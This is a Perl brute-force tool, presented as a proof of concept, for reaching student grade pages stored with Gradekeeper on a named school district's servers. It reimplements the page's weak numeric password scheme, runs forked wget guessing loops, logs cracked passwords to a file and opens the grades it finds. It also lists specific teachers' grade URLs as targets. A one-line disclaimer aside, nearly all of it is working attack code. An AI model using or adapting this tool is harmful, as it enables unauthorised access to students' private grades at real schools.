#!/usr/bin/perl

###
# A bruteforcer for grades stored with Gradekeeper
# Proof-of-concept code by Garrett Reid
###

# Please note: This code is for use in cases of forgotten
# passwords. Don't break into other's grades. If you do,
# it's not my fault ;P


# This code is based around the system in place at Gunn
# high school in Palo Alto, but it should work fine for
# other places that use gradekeeper to store grades.

# If anyone is so inclined, they can write something to
# bruteforce the actual passwords from the .pot file.
# I didn't include one, because this code alreadly
# sufficiently proves the insecurities of online grade
# storage with the gradekeeper program.




### Notes to self ###
# Deggeller keeps grades at:
# "http://pelican.pausd.org/~ddeggeller/grades/trigE/"
# Beck keeps grades at:
# "http://staff.pausd.org/~jbeck/grades/perioda/"
# Clark keeps grades at:
# "http://pelican.pausd.org/~sclark/grades/dperiod/"
# Waters keeps grades at:
# "http://pelican.pausd.org/~cwaters/grades/F%20Period/"
#####################


# Check for a call for help, and give help if needed.
if(@ARGV < 1 || (@ARGV > 0 && (@ARGV[0] eq "-help" || @ARGV[0] eq "--help"))){
	printhelp();
	exit;
}

# Declare strings so I can find index values.
$chars = ",-.";
$lower = "abcdefghijklmnopqrstuvwxyz";
$upper = uc($lower);
$potfile = "grades.pot";

# Declare default settings.
my $usecomma = "true";
my $server = "pelican";
my $forknum = 4;
my $firstname;
my $lastname;
my $directory = "period";
my $prefixorder = "prefixperiod";
my $test = "false";
my $mode = "normal";
my $verbose = "false";
my $singletry = "false";
my $fastmode = "false";
my $multi = 1;

# Process all the flags.
while(index($ARGV[0], "-") == 0){
	$currentarg = shift @ARGV;
	printexamples() if($currentarg eq "-examples");
	$usecomma = "false" if($currentarg eq "-nc");
	$server = "staff" if($currentarg eq "-s");
	$forknum = shift @ARGV if($currentarg eq "-F");
	$singletry = shift @ARGV if($currentarg eq "-pass");
	$directory = shift @ARGV if($currentarg eq "-dp");
	$prefixorder = "periodprefix" if($currentarg eq "-rdp");
	$test = "true" if($currentarg eq "-test");
	$mode = "tu" if($currentarg eq "-tu");
	$fastmode = "true" if($currentarg eq "-fast");
	$verbose = "true" if($currentarg eq "-v");
	$multi = shift @ARGV if($currentarg eq "-multi");
	
	if($currentarg eq "-tp"){
		my $translateme = shift @ARGV;
		$translateme .= " " . shift @ARGV while(@ARGV > 0);
		
		my $translated = translate($translateme, "pass"); 
		print "Translated password \"$translateme\" into $translated.\n";
		exit;
	}
}


$firstname = @ARGV[0];
$lastname = @ARGV[1];
$teacher = @ARGV[2];
$period = @ARGV[3];

# Make the person's name.
if($usecomma eq "true"){
	$username = $lastname . ", " . $firstname;
} else {
	$username = $firstname . " " . $lastname;
}

if($mode ne "normal"){
	if($mode eq "tu"){
		my $translated = translate($username, "name");
		print "Translated username \"$username\" into $translated.\n";
	}
	exit;
}


$url = "http://$server.pausd.org/~$teacher/grades/";
if($prefixorder eq "prefixperiod"){
	$url .= $directory . $period;
}elsif($prefixorder eq "periodprefix"){
	$url .= $period . $directory;
}
$url .= "/";

print "Using url \"$url\".\n";

$newusername = translate($username, "name");
print "Translated \"$username\" into $newusername.\n" if($verbose eq "true");

# If somebody wants to try one single password
if($singletry ne "false"){
	my $singlepass = translate($singletry, "pass");
	print "Translated \"$singletry\" into $singlepass.\n" if($verbose eq "true");
	my $current = $newusername * $singlepass;
	
	if(system("wget -q $url$current.html") == 0){
		print "Found grades for $firstname $lastname! ($current)\n";
		`open $url$current.html`;
	} else {
		print "Grades not found.\n";
	}
	exit;
}


# Process the potfile, and use it:
my @potcontents;
open(POT, "<$potfile");
@potcontents = <POT>;
close POT;

my @potline;
my @trial;

# Only goes to second-to-last line of the pot file,
# because the last line is blank.
for($i = 0; $i < $#potcontents; $i++){
	@potline = split(" ", $potcontents[$i]);
	if($potline[0] eq $firstname && $potline[1] eq ($lastname . ":")){
		@trial[$#trial + 1] = $potline[2];
	}
}
my $total = $#trial + 1;
print "Found $total possible passwords in grades.pot...\n" if($verbose eq "true");


for($i = 0; $i < @trial; $i++){
	print "Trying translated password $trial[$i] from grades.pot.\n" if($verbose eq "true");
	my $current = $newusername * $trial[$i];
	
	if(system("wget -q $url$current.html") == 0){
		print "Found grades for $firstname $lastname!\n";
		print "Password came from $potfile.\n" if($verbose eq "true");
		print "$url$current.html\n";
		`open $url$current.html`;
		$forknum = 0;
	}
	print "Incorrect password.\n";
}

my $password = 0;
$password = 2668 if($fastmode eq "true");

print "Starting password is $password.\n" if($verbose eq "true" && $forknum > 0);
$time = `date`;
print "Starting time: $time\n" if($verbose eq "true" && $forknum > 0);

my $current = $password * $newusername;

for($i = 1; $i <= $forknum; $i++){
	if(fork() && $test ne "true"){
		print "Starting fork #$i of $forknum...\n" if($verbose eq "true");
		
		my $wgetresult;
		my $maxpass = translate("zzzzzzzzzzzzzzz", "pass");
		# Because the web page takes a max char count of 15,
		# and a lowercase z has the highest possible numeric value.
		
		while($password < $maxpass){
			$wgetresult = system("wget -q $url$current.html");
			if($wgetresult != 256){
				# Result code 2 = control-c
				# Result code 0 = success
				$time = `date`;
				if($wgetresult == 0){
					print "Found grades for $firstname $lastname!\n";
					print "$url$current.html\n";
					`open $url$current.html`;
					print "Ending time: $time\n" if($verbose eq "true");;
					open(POT, ">>$potfile");
					print POT "$firstname $lastname: $password - $url$current.html\n";
					close POT;
					$multi--;
				} elsif($wgetresult == 2){
					print "Caught a control-c! Quitting!\n" if($verbose eq "true");
				} else {
					print "Caught an unknown result code! Code was: $wgetresult.\n" if($verbose eq "true");
				}
				if($multi < 1 || $wgetresult == 2){
					my $localuser = `echo \$USER`;
					chomp $localuser;
					`killall -u $localuser -c perl`;
					exit;
				}
			}
			$password += $forknum;
			$current = $password * $newusername;
		}
		die "Fork $i has ended.\n";
	}
	$password ++;
}

sub translate(){
	my $text = shift;
	my $transtype = shift;
	my $code = 0, $pos = 0, $endcode = 0, $char = "fred";
	
	if($transtype eq "name" || $transtype eq "username"){
		$transtype = "n";
		
		#Since the web page starts pos at 31 for the name:
		$pos = 31;
	}elsif($transtype eq "pass" || $transtype eq "password"){
		$transtype = "p";
		
		#The web page does this to passwords...
		$text .= $text if(length($text) <= 2);
		$text .= $text if(length($text) <= 4);
		$text .= $text if(length($text) <= 6);
		#Since the web page starts at pos 15 for passwords:
		$pos = 15;
	} else {
		die "Invalid translation type passed to translate()...\n";
	}
	
	for($i = 0; $i < length($text); $i++){
		
		$char = substr($text, $i, 1);
		$code = charcode($char);
		
		if(	($code == 32) ||
			($code >= 44 && $code <= 46) ||
			($code >= 48 && $code <= 57 && $transtype eq "p") ||
			($code >= 65 && $code <= 90) ||
			($code >= 97 && $code <= 122)){
				$pos += 1;
				$endcode += $pos * ($code - 31);
		}
	}
	
	return $endcode;
}

sub charcode(){
	$character = shift;
	
	# If it's a whitespace char, return 32:
	return(32) if($character =~ /\s/);
	# If it's a digit, return 48 + the digit:
	return(48 + $character) if($character =~ /\d/);
	
	my $code;
	
	$code = index($chars, $character);
	if($code != -1){
#		print "Code for char \"$character\":  \"$code\"\n";
		return (int($code + 44));
	}
	
	$code = index($lower, $character);
	if($code != -1){
#		print "Code for lower \"$character\":  \"$code\"\n";
		return (int($code + 97));
	}
	
	$code = index($upper, $character);
	if($code != -1){
#		print "Code for upper \"$character\":  \"$code\"\n";
		return (int($code + 65));
	}
}

sub printhelp(){
	print "Usage: getgrades [options] [First Last Teacher Period]\n";
	print "    Teacher should be formatted like \"jbeck\" or \"tsalts\".\n";
	print "\nOptions:\n";
	print "    -examples:          Gives example uses.\n";
	print "    -v:                 Verbose mode. Its use is recommended.\n";
	print "    -tu name:           Translate username mode. (getgrades -tu name).\n";
	print "    -tp pass:           Translate password mode. (getgrades -tp pass).\n";
	print "    -nc:                Username format is First Last, instead of Last, First.\n";
	print "    -s:                 Look for grades on Staff, not Pelican (Beck only?).\n";
	print "    -rdp:               Reverse directory prefix order from period_ to _period.\n";
	print "    -dp prefix:         Change directory title to prefix. Default is \"period\".\n";
	print "    -test:              Test run. Don't actually attempt to download grades.\n";
	print "    -F forknum:         Changes number of forks. For advanced users only.\n";
	print "    -fast:              Fast mode. Works as long as the passwords are ID numbers.\n";
	print "    -pass password:     Try the specified password only.\n";
	print "    -multi #:           Stop after finding # grades for the existing user.\n";
	print "\n";
	exit;
}
sub printexamples(){
	print "Examples:\n";
	print "   Deggeller keeps E period grades at:\n";
	print "   http://pelican.pausd.org/~ddeggeller/grades/trigE/\n";
	print "   To get grades for First Last, use:\n";
	print "   -dp trig First Last ddeggeller E\n";
	print "   \n";
	print "   Clark keeps D period grades at:\n";
	print "   http://pelican.pausd.org/~sclark/grades/dperiod/\n";
	print "   To get grades for First Last, use:\n";
	print "   -rdp First Last sclark d\n";
	print "   \n";
	print "   Beck keeps A period grades at:\n";
	print "   http://staff.pausd.org/~jbeck/grades/perioda/\n";
	print "   To get grades for Garrett Reid, use:\n";
	print "   -s -nc Garrett Reid jbeck a\n";
	print "   \n";
	print "   Waters keeps F period grades at:\n";
	print "   http://pelican.pausd.org/~cwaters/grades/F%20Period/\n";
	print "   To get grades for First Last, use:\n";
	print "   -rdp -dp %20Period First Last cwaters F\n";
	print "   \n";
	exit;
}
